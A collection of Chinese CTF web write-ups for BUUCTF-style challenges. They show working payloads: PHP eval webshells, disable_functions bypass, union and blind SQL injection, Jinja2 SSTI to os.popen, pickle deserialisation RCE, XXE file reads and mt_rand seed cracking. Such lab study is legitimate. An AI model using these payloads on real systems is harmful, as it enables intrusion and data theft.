1 username=&password=2020666
进入新生成的url查看 这么多的链接,要试到猴年马月 去根目录看看 payload
1 username=&password=2020666
没有,那上一级看看 payload
1 username=&password=2020666
看到位置直接cat payload
1 username=&password=2020666
[极客大挑战 2019]RCE ME 这题源码非常简单,就是要绕过正则表达式来执行命令,不能使用换行符来绕过,要使用php异或操作即可绕过或通过url编码绕过,取反绕过 但是。。。 还是没有这么简单,本题主要内容是disable_function禁用了大量的函数导致shell上传成功但无法使用的情况出现使得难度大大提高 先取反绕过 取反操作如下
1 2 3 4 5 6 7 <?php $a = 'phpinfo' echo urlencode (~$a ); > payload ?code=(~%8 F%97 %8 F%96 %91 %99 %90 )();
查看phpinfo
搓一个shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );$a ='assert' ;$b =urlencode (~$a );echo $b ;echo "<br>" ;$c ='(eval($_POST[a]))' ;$d =urlencode (~$c );echo $d ;?> 在PHP中,~ 是按位取反运算符,而用url编码是避免不可见字符$a ="D" ^"C" 异或$a =urlencode (~"B" ); 取反
通过phpinfo()页面可知 在phpinfo()页面可以发现禁用了非常多的函数,其中包括system、exec、shell_exec等关键执行函数 有shell了就连下蚁剑 连接发现根目录有flag,但是为空,还有一个readflag文件 这里可以发现readflag这个文件但是并没有执行权限,所以得绕过disable_function巧用LD_PRELOAD突破disable_functions 通过文章可以了解到 导致 webshell 不能执行命令的原因大概有三类:一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;二是 web 进程运行在 rbash 这类受限 shell 环境中;三是 WAF 拦劫。若是一则无法执行任何命令,若是二、三则可以执行少量命令。
有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
下载博主整理的源码 上传到蚁剑的var/tmp目录下 我们需要传入三个参数,第一个参数cmd为执行的命令,第二个参数outpath为输入出文件位置,第三个sopath参数为上传的so文件所在位置 payload:
1 2 3 4 ?code=${%fe %fe %fe %fe ^%a1 %b9 %bb %aa }[_](${%fe %fe %fe %fe ^%a1 %b9 %bb %aa }[__]);&_ =assert&__ =include(%27/var/tmp/bypass_disablefunc.php%27)&cmd =/readflag&outpath =/tmp/tmpfile&sopath =/var/tmp/bypass_disablefunc_x64.so 这里使用的是异或绕过%##为16进制格式,异或转化为下 ?code=${_GET}[_](${_GET}[__]);&_ =assert&__ =include(%27/var/tmp/bypass_disablefunc.php%27)&cmd =/readflag&outpath =/tmp/tmpfile&sopath =/var/tmp/bypass_disablefunc_x64.so //其中${_GET}[_]与$_GET[_]用法类似,但本题第二种方法试了没通过,可能是因为网络问题,没有测试很多次,十六进制数对应的字符尽量为不可见字符,不然会被浏览器编译,导致失败。。。
至此以大功告成
这里蚁剑有个插件 通过加载插件启动PHP7_GC_UAF 点击开始后就可以输入命令了
[SUCTF 2019]Pythonginx 将题目给的代码整理一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app .route ('/getUrl' , methods=['GET' , 'POST' ]) def getUrl (): url = request.args.get ("url" ) host = parse.urlparse (url).hostname #获取域名ip 例:www.xxxx.com if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit (url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split ('.' ): newhost.append (h.encode ('idna' ).decode ('utf-8' )) parts[1 ] = '.' .join (newhost) #去掉 url 中的空格 finalUrl = urlunsplit (parts).split (' ' )[0 ] host = parse.urlparse (finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen (finalUrl).read () else : return "我扌 your problem? 333"
这道题用的是blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization nginx配置文件路径 black hat一个议题 任意读取文件原链接在这 先来分析代码 对几个函数进行解释 urlsplit(url)
1 2 3 4 5 6 7 8 9 10 11 12 url = "https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example" print (urlsplit(url))""" SplitResult( scheme='https', netloc='username:password@www.baidu.com:80', path='/index.html;parameters', query='name=tom', fragment='example') """
1 2 for h in host.split ('.' ): newhost.append (h.encode ('idna' ).decode ('utf-8' ))
对字符串 host 进行了拆分(split)操作,然后对每个分割后的子字符串进行了IDNA编码和UTF-8解码,最终将结果添加到名为 newhost 的列表中。
1 return urllib.request .urlopen (finalUrl).read ()
使用了 urllib.request.urlopen 函数来打开指定的URL(finalUrl),并调用 read() 方法读取该URL返回的数据。
改一下代码,整体运行一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from urllib import parsefrom urllib.parse import urlsplit, urlparse, urlunsplit # url = request.args.get ("url" ) url = "http://suctf.cX" host = parse.urlparse(url).hostname #获取域名ip例:www.xxxx.comprint ('host1= ' +host)if host == 'suctf.cc' : print ("我扌 your problem? 111" ) parts = list(urlsplit(url))print ('parts = ' ,parts) host = parts[1]print ('host2= ' +host)if host == 'suctf.cc' : print ("我扌 your problem? 222" ) newhost = []for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0]print ('finalUrl = ' + finalUrl) host = parse.urlparse(finalUrl).hostnameprint ('host3= ' +host)if host == 'suctf.cc' : print ("yes" )else : print ("我扌 your problem? 444" )
从代码上看,我们需要提交一个url,用来读取服务器文件 需要绕过前两个if,进入第三个if来使用函数 而三个if中判断条件都是相同的,不过在此之前的host构造却是不同的,这也是blackhat该议题中想要说明的一点 当URL 中出现一些特殊字符的时候,输出的结果可能不在预期 这里需要按照getUrl函数写出爆破脚本即可得到构造语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode (): for x in range (65536 ): uni=chr (x) url="http://suctf.c{}" .format (uni) try : if getUrl(url): print ("str: " +uni+' unicode: \\u' +str (hex (x))[2 :]) except : pass def getUrl (url ): url=url host=parse.urlparse(url).hostname if host == 'suctf.cc' : return False parts=list (urlsplit(url)) host=parts[1 ] if host == 'suctf.cc' : return False newhost=[] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ]='.' .join(newhost) finalUrl=urlunsplit(parts).split(' ' )[0 ] host=parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return True else : return False if __name__=='__main__' : get_unicode()
我们只需要让其中的一个去读取文件即可,需要url编码一下 先读一下etc/passwd payload
1 /getUrl?url=file:/ /suctf.c%E2%84%82/ ../../ ../../ ../../ etc/passwd
部分nginx的配置文件所在位置
1 2 3 4 5 6 7 8 配置文件: /usr/ local/nginx/ conf/nginx.conf 配置文件存放目录:/etc/ nginx 主配置文件:/etc/ nginx/conf/ nginx.conf 管理脚本:/usr/ lib64/systemd/ system/nginx.service 模块:/usr/ lisb64/nginx/m odules 应用程序:/usr/ sbin/nginx 程序默认存放位置:/usr/ share/nginx/ html 日志默认存放位置:/var/ log/nginx
挨个读读试试 在配置文件中我们发现 读取
[SWPU2019]Web1 登录页面,有注册先注册 这里admin被注册了,注册一个admin1,登录 疑似注入点,万能钥匙测测 存在过滤,再测测 一番测试以后,发现过滤了or,#,–+和空格
先判断列数 因为or被禁 order by无法用,所以用group by ,一样的效果 payload
判断为22列 回显位
1 1 'union/**/select/**/1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,22 '
回显位为2,3
爆数据库
1 1 '/**/union/**/select/**/1 ,database(),3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,22 '
爆表
1 1 'union/**/select/**/1 ,2 ,group_concat(table_name),4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,22 /**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1" '
因为关键字被禁,所以我们不能直接爆字段,我们可以绕过这一步骤直接通过表来爆值 学习到了一个新的概念:使用无列名注入技巧获取字段值 无列名注入
如果information_schema被WAF,得到表名之后使用无列名注入技巧获取字段值.
之后就可以利用数字来对应相应的列,进行查询
这里有两点需要注意一下:
1.列名需要用``包裹起来 2.使用子查询的时候,即一个查询嵌套在另一个查询中,内层查询的结果可以作为外层查询的条件,内层查询到的结果需要起一个别名(as)
如果反引号``被过滤,可以使用为字段起别名的方式. 现在的思路就明朗了 payload1 1 '/**/union/**/select/**/1 ,database(),(select/**/group_concat(`3 `)/**/from/**/(select/**/1 ,2 /**/as/**/a,3 /**/union/**/select/**/*/**/from/**/users)heihei),4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,22 '
代码解析
上面表示列为3
heiheihei表示派生表的别名,名字随意无列名注入总结
[FBCTF2019]RCEService 题目说要以 JSON 格式输入命令 而JSON 需要给一个键值对 格式为
先输入
没有回显,错误 尝试使用{“cmd”:”cat index.php”} , 返回: Hacking attempt detected 估计过滤了cat 。 dirsearch什么都没扫出来 看了看大佬的wp,这题应该是会给源代码的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd '] )) { $json = $_REQUEST['cmd '] ; if (!is_string($json ) ) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/ ^.* (alias |bg |bind |break |builtin |case |cd |command |compgen |complete |continue |declare |dirs |disown |echo |enable |eval |exec |exit |export |fc |fg |getopts |hash |help |history |if |jobs |kill |let |local |logout |popd |printf |pushd |pwd |read |readonly |return |set |shift |shopt |source |suspend |test |times |trap |type |typeset |ulimit |umask |unalias |unset |until |wait |while |[\x00 -\x1FA -Z0-9!#-\/ ;-@\[-`|~\x7F ]+) .*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json , true ) ['cmd '] ; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } } ?>
代码中使用putenv(‘PATH=/home/rceservice/jail’); 配置系统环境变量,而我们用不了 cat 也有可能是在这个环境变量下没有这个二进制文件
因为这些命令实际上是存放在特定目录中封装好的程序,PATH环境变量就是存放这些特定目录的路径方便我们去直接调用这些命令,所以此处部分命令我们得使用其存放的绝对路径去调用
然后就是正则匹配的绕过了 可以注意到正则表达式采用了^xxx$的格式,同时也采用了.*这样的贪婪匹配,所以有两个方案来绕过正则——回溯次数超限和利用%0a。
利用%0a:%0a对于^xxx$这个格式的绕过太常见了,只需要注意下表达式中存在一段
会匹配一个%0a,但多在payload前后加几个%0a就行了。 看看现在能不能行
根目录中没有flag 用find查找
1 {% 0 a"cmd" :"find / -name flag*" % 0 a}
没有报错但也没有显示,那么说这个环境变量下也没有find
Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用 在/usr/bin下找到了find 这样来使用
1 {% 0 a"cmd" :"/usr/bin/find / -name flag*" % 0 a}
找到了flag的路径 找到cat的路径
1 {% 0 a"cmd" :"/bin/cat /home/rceservice/flag" % 0 a}
再看看环境变量/home/rceservice/jail下有什么 是ls,解释了为啥刚开始能用ls的原因
[WUSTCTF2020]颜值成绩查询 只有一个输入框 输入1 回显Hi admin, your score is: 100 最多输到4 盲猜sql注入 输入
这里如果没有过滤字符or应该恒为真的 显示student number not exists. 有可能空格或者or被过滤
多轮测试过后发现仅空格被过滤,用/**/代替空格即可 将or换为and,因为只输入1也回显为true,and的后面也为true才能达到布尔盲注的目的
发现规律,命令错误会报错 使用布尔盲注 编写python脚本方便使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsif __name__ == '__main__' : result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) # payload = f'1 andif (ascii(substr((selectgroup_concat(schema_name)frominformation_schema.schemata),{i},1 ))>{mid},1 ,0 )%23 ' # payload = f'1 andif (ascii(substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema="ctf" ),{i},1 ))>{mid},1 ,0 )%23 ' # payload = f'1 andif (ascii(substr((selectgroup_concat(column_name)frominformation_schema.columnswheretable_name="flag" ),{i},1 ))>{mid},1 ,0 )%23 ' payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(value)/**/from/**/ctf.flag),{i},1))>{mid},1,0)%23' # print(payload) url = f"http://ac3f56f2-dc89-4ab5-a066-b6f2d94da972.node5.buuoj.cn:81/?stunum={payload}" #print(url) # data={ # "" :f"admin' and {payload}#" , # # } r = requests.get(url=url) if 'admin' in r.text: low = mid + 1 else : high = mid if low != 32 : result += chr(low) print (result) else : break
[MRCTF2020]套娃 源代码里是有我们需要的东西的
1 2 3 4 5 6 7 8 9 10 11 <!--// 1 st$query = $_SERVER ['QUERY_STRING' ];// 可以理解为获取输入的字符信息,获取的是?后面的值 if ( substr_count($query , '_' ) !== 0 || substr_count($query , '%5f' ) != 0 ){// substr_count获取字符的出现次数 die('Y0u are So cutE!' ); } if ($_GET ['b_u_p_t' ] !== '23333' && preg_match('/^23333$/' , $_GET ['b_u_p_t' ])){ echo "you are going to the next ~" ; } !-->
开始绕 他没有大小写的检测%5f用%5F绕过 以$结尾也没有禁用换行符,就用%0a绕过 payload
进入再源代码发现一个加密信息 复制粘贴在控制台里 那么POST Merak,值随意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 ); include 'takeip.php' ;ini_set ('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST ['Merak' ])){ highlight_file (__FILE__ ); die (); } function change ($v ) { $v = base64_decode ($v ); $re = '' ; for ($i =0 ;$i <strlen ($v );$i ++){ $re .= chr ( ord ($v [$i ]) + $i *2 ); } return $re ; }echo 'Local access only!' ."<br/>" ;$ip = getIp ();if ($ip !='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip ;if ($ip === '127.0.0.1' && file_get_contents ($_GET ['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change ($_GET ['file' ]);echo file_get_contents (change ($_GET ['file' ])); }?>
出现了新的源码 第一步是伪造ip 有如下几种方式
1 2 3 4 5 6 7 8 9 10 X -Forwarded-For:127.0.0.1 Client -ip:127.0.0.1 X -Client-IP:127.0.0.1 X -Remote-IP:127.0.0.1 X -Rriginating-IP:127.0.0.1 X -Remote-addr:127.0.0.1 HTTP_CLIENT_IP :127.0.0.1 X -Real-IP:127.0.0.1 X -Originating-IP:127.0.0.1 via :127.0.0.1
测试仅client-ip可以使用 header中添加client-ip file_get_contents用php伪协议绕过
1 2 ?2333 =php://input post:todat is a happy day
这步开始用burp操作,hackbar有点问题
1 2 3 4 5 6 7 8 function change($v){ $v = base64_decode($v); $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; }
这块反向编译下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function change ($v ) { $re = '' ; for ($i =0 ;$i <strlen ($v );$i ++){ $re .= chr ( ord ($v [$i ]) - $i *2 ); } return $re ; }$a = 'flag.php' ;echo base64_encode (change ($a ));?>
[Zer0pts2020]Can you guess it? 点击source查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include 'config.php' ; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); }if (isset($_GET ['source' ])) { highlight_file(basename($_SERVER ['PHP_SELF' ])); exit (); }$secret = bin2hex(random_bytes(64 ));if (isset($_POST ['guess' ])) { $guess = (string) $_POST ['guess' ]; if (hash_equals($secret , $guess )) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } } ?>
代码告诉了我们flag在config.php里 但是下面又过滤了config.php/ $_SERVER[‘PHP_SELF’]返回的是路径+脚本名 下面有一行代码表示可以直接获得flag,但要能够破解随机数就能得到flag,这个难度太大了。。
这里是有突破点的
1 2 3 if (preg_match('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); }
注意这里/config.php/*$是匹配了尾部的,我们可以通过尾部添加不可显字符来绕过正则,比如%ff
basename() 会返回路径重的文件名部分。比如/index.php/config.php使用basename()之后返回config.php。 basename()会去掉文件名开头的非ASCII值。
这里写一段php语句来搞清楚
1 2 3 4 5 6 <?php echo basename ('index.php/config.php%ff?source' ).'<br>' ;echo $_SERVER ['PHP_SELF' ].'<br>' ;echo basename ($_SERVER ['PHP_SELF' ]);
因为$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名,当使用了PATH_INFO时,这个值是可控的。所以可以尝试用/index.php/config.php/%ff?source来读取flag。
[CSCCTF 2019 Qual]FlaskLight 题目说了是关于flask的 源代码有提示参数为search 所以直接ssti注入
因为是用flask搭建的网站,所以这里的判断很自然就是jinja2的模板注入。
1 ?search= {{[].__class__.__bases__ [0]}}
用bases或mro都行,只要打印返回(<class ‘object’>,),找到了他的基类object即可 接下来我们使用subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。
1 ?search= {{[].__class__.__bases__ [0].__subclasses__()}}
在基本类的子类中找到重载过的__init__类(貌似是个类就行) 那么我们直接找第一个显示的类
1 ?search= {{[].__class__.__bases__ [0].__subclasses__()[58]}}
测试发现globals被过滤了,使用拼凑法绕过
1 ?search= {{[].__class__.__bases__ [0].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']}}
接下来利用eval进行命令执行
1 ?search= {{[].__class__.__bases__ [0].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("dir").read()' )}}
flag在flasklight中
1 ?search= {{[].__class__.__bases__ [0].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("cat flasklight/coomme_geeeett_youur_flek").read()' )}}
关于flask的SSTI注入[通俗易懂] flask之ssti模版注入从零到入门
ciscn2019-华北赛区-day1-web2-ikun 根据页面的提示,需要找到lv6 但是翻了很多页也没有找到lv6 写一个python脚本
1 2 3 4 5 6 7 8 9 10 11 import requests url = 'http://eca3df9d-0ecd -46b6 -b0ab-7166f51fb956.node5.buuoj.cn:81 /shop?page='for i in range (1 ,2000 ): a = requests.get (url + str(i)) if 'lv6.png' in a.text: print (i) break
在181页发现lv6 发现价格有点高,看能不能抓包改下价格 只能改折扣
这里涉及到JWT伪造漏洞 攻击工具c-jwt-cracker 获得密匙 我使用的是kali系统 破解获得密匙1Kun 然后访问JWT攻击网站 ,将JWT复制上去即可 将username改为admin,还有将刚才的密匙填入 将cookies的JWT替换,得到 源码中发现
找到admin.py 这里可以理解为与php一样的反序列化
self.render(‘form.html’, res=p, member=1) 这段代码的意思就是找到模板文件,进行渲染,从而显示页面 来观察一下form.html页面 说明传入的是可以直接进行回显的,而且可以将自定义的类进行序列化和反序列化,因此存在Pickle反序列化漏洞,那我们就可以构造一个通过pickle.dumps序列化的payload,从而被解析读取flag或其他信息。 我们构建一个类,类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用 构造payload可以使用方法__reduce__(self),先要获取的flag文件的位置,然后进行读取
点击一键成为大会员后,替换become os.system和os.popen os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0 os.popen() 无法读取程序执行的返回值 这两个函数只有以print输出时才会回显,如果是以return返回的就不会显示结果。 可以使用commands.getoutput()这个函数来进行代替,构造payload
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport urllibimport commandsclass payload(object ): def __reduce__(self ): return (commands .getoutput ,('ls /',)) a = pickle.dumps(payload ()) a = urllib.quote(a ) print a
找到flag.txt文件,并读取
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport urllibimport commandsclass payload(object ): def __reduce__(self ): return (commands .getoutput ,('cat /flag .txt' ,)) a = pickle.dumps(payload ()) a = urllib.quote(a ) print a
或
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport urllibimport commandsclass payload (object ): def __reduce__ (self ): return (eval , ("open('/flag.txt','r').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a)print a
Python Pickle反序列化漏洞 认识JWT
[WUSTCTF2020]CV Maker 很简单的题目 除了login和register没有其它的入口 那么我们先注册登录 登录成功后跳另外一个页面 弹出Please Login First! 查看源代码发现这是页面自带的
1 <script > alert ('Please Login First!' );</script >
不用管他
这里有个图片上传按钮 先上传 3.png 内容为一句话木马
1 <?php eval ($_POST [a]);?>
exif_imagetype not image! 欺骗一下
1 2 GIF89A<?php eval ($_POST [a]);?>
成功欺骗 页面没有回显上传链接 源代码看一下 找到 但进入这个链接我们是没办法执行命令的 盲猜一手 我们将上传的文件后缀改为3.png.php 后缀为php 进入链接 payload
看看没有过滤什么函数 直接
1 2 3 4 5 6 7 8 a=system ('ls'); //GIF89A d41d8cd98f00b204e9800998ecf8427e.php a=system ('ls /'); //GIF89A Flag_aqi2282u922oiji bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var a=system ('cat /Flag_aqi2282u922oiji'); //GIF89A flag{4e0eee16-52b1 -4248 -8565 -2da97f5cdb35}
[watevrCTF-2019]Cookie Store 页面有三种饼干,其中最贵的饼干为flag饼干,推测购买这款饼干就能获得flag 但我们的初始资金为50刀,买不起flag饼干,源码看下啥也没有 先购买1刀的饼干 抓包看看有什么数据 神似base64加密,解密一下 不知道history里的数据是什么样的 后面又抓住了一个,找到数据 试着改一下json包的数据 这回我们买10刀的 修改money 回到页面发现钱变为我们想要的,这时我们直接购买flag饼干即可
[GWCTF 2019]枯燥的抽奖 猜字符串游戏,猜不了一点 看看源码 源码中找到一个php文件check.php 没问题可以进去 源码发现真的是随机数啊 对函数挨个搜索后发现mt_srand和mt_rand是有一个伪随机数漏洞 我的理解是mt_srand($seed),种子值就是提供了一个初始的值 如果以同样的mt_srand($seed)值调用mt_rand(),那么每次程序运行都会得到相同的随机数序列
现在已经知道了前10个字符,那么可以通过已知的字符来推出种子值,这需要借助一个工具php_mt_seed php_mt_seed是c语言编写的爆破随机数序列种子的工具,这里我选择的是kali系统,在目录下运行make命令就配置好了
使用官方文档中的使用方法
1 2 3 4 5 6 7 8 9 10 <?php $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789' ; $len = strlen ($allowable_characters ) - 1 ; $pass = $argv [1 ]; for ($i = 0 ; $i < strlen ($pass ); $i ++) { $number = strpos ($allowable_characters , $pass [$i ]); echo "$number $number 0 $len " ; } echo "\n" ; ?>
需要将我们的序列转换为php_mt_seed可以识别的格式 然后
1 ./php_mt_seed 30 30 0 61 9 9 0 61 9 9 0 61 55 55 0 61 50 50 0 61 22 22 0 61 38 38 0 61 8 8 0 61 55 55 0 61 19 19 0 61
这里就获得了seed值735396921
执行题目源代码,确认我们的seed值
1 2 3 4 5 6 7 8 9 10 11 <?php mt_srand (735396921 );$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); }echo $str ;?>
成功反推 填空即可得到flag
[红明谷CTF 2021]write_shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } }function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } }$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); }switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); }?>
先了解下??的作用
1 2 3 4 5 6 7 8 9 10 switch($_GET ["action" ] ?? "" )?? 判断一个变量是否存在,存在则复制变量本身,不存在赋值另一变量?? 相当于:isset($a )?$ a: $b ; 是php7 推出来的 可以简单理解为 用于简便三元表达式$a = 50 ;$a = $a ?? 1 ; var_dump($a );// 50
1 2 3 4 $dir = 'sandbox/' . md5($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists($dir )){ mkdir ($dir ); }
如果dir不存在,创建一个dir文件 再整理下思路 先让action等于pwd,先得出我们的文件路径 然后再让action等于upload,先看下面有一个file_put_contents()函数
1 2 3 4 5 file_put_contents () file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。 data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。 mode 可选。规定如何打开/写入文件。
我们要在index.php下写入数据 这题由于写入的文件是后缀名为php的,也就是说我们的语法就得满足php,并且达到命令执行的点。 但是这题把php给ban了,我们可以使用php的短标签 要确保php配置为short_open_tag = On 才能使用
1 2 <?= ?> //相当于 <?php echo ;?> <?= '1' ?> //相当于 <?php echo '1' ;?>
空格也被过滤了,这里使用%09绕过 php支持一个执行运算符–反引号。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数shell_exec() 相同。 这题用system不太行,不知道是什么原因,chat给出的解释是 echo ls
执行 ls 命令,然后将 ls 命令的输出作为字符串直接输出到页面。
echo system(‘ls’) 执行 ls 命令,并将 ls 命令的执行结果的退出状态(通常是 0 表示成功)输出到页面。 但是我echo system(ls)是成功回显index.php的,到echo system(ls /)会报错
1 Parse error : syntax error , unexpected ')'
payload
1 2 3 4 5 6 7 8 ?action=upload&data=<?=%09`ls` ?> ?action=upload&data=<?=%09`ls%09/` ?> ?action=upload&data=<?=%09`cat%09/flllllll1112222222lag` ?>
找到了system为什么报错的原因,很简单的错误😭 echo system(ls)时正常执行而echo system(ls /)报错是因为 ls / 中的空格被解释为命令参数的分隔符,在 PHP 中,应该使用字符串来表示整个命令,而且最好使用单引号或双引号包裹整个命令,以避免空格导致的问题。 因为本题ban了单引号,我们用双引号括起来就可以正常执行命令了。。
[NCTF2019]True XML cookbook xxe漏洞 源码中有一段js代码,除了知道他是xml格式再无太大联系 随便输入数据抓个包 抓到xml数据 开始漏洞注入 XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害 payload
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE a [ <!ENTITY admin SYSTEM "file:///etc/passwd" > ]> <user > <username > &admin; </username > <password > 1</password > </user >
也可以php伪协议看看doLogin.php的源码
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE a [ <!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php" > ]> <user > <username > &admin; </username > <password > 1</password > </user >
doLogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $USERNAME = 'admin' ; $PASSWORD = '024b87931a03f738fff6693ce0a78c88' ; $result = null ;libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );try { $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom ($dom ); $username = $creds ->username; $password = $creds ->password; if ($username == $USERNAME && $password == $PASSWORD ){ $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,1 ,$username ); }else { $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,0 ,$username ); } }catch (Exception $e ){ $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,3 ,$e ->getMessage ()); }header ('Content-Type: text/html; charset=utf-8' );echo $result ;?>
账号密码可以登录,但没什么用
看了看别人的博客,要读取一个/proc/net/arp文件 访问/proc/net/arp文件时查看有无可利用内网主机等,然后通过爆破主机地址进行访问 这里说是用xxe内网探测存活的主机 两个ip都读取了 但是都显示504,正常应该报错然后再爆破最后一位 找了半天,说是由于buuctf转用了K8S管理,他的靶机容器是随机在80,81两个网段里的,具体情况看/proc/net/fib_trie
这回倒是报错了 爆破最后一位,这里我也不知道为什么要爆破最后一位 等待
[网鼎杯 2020 白虎组]PicDown python2的urllib的urlopen,和urllib2中的urlopen明显区别就是urllib.urlopen支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件 python2
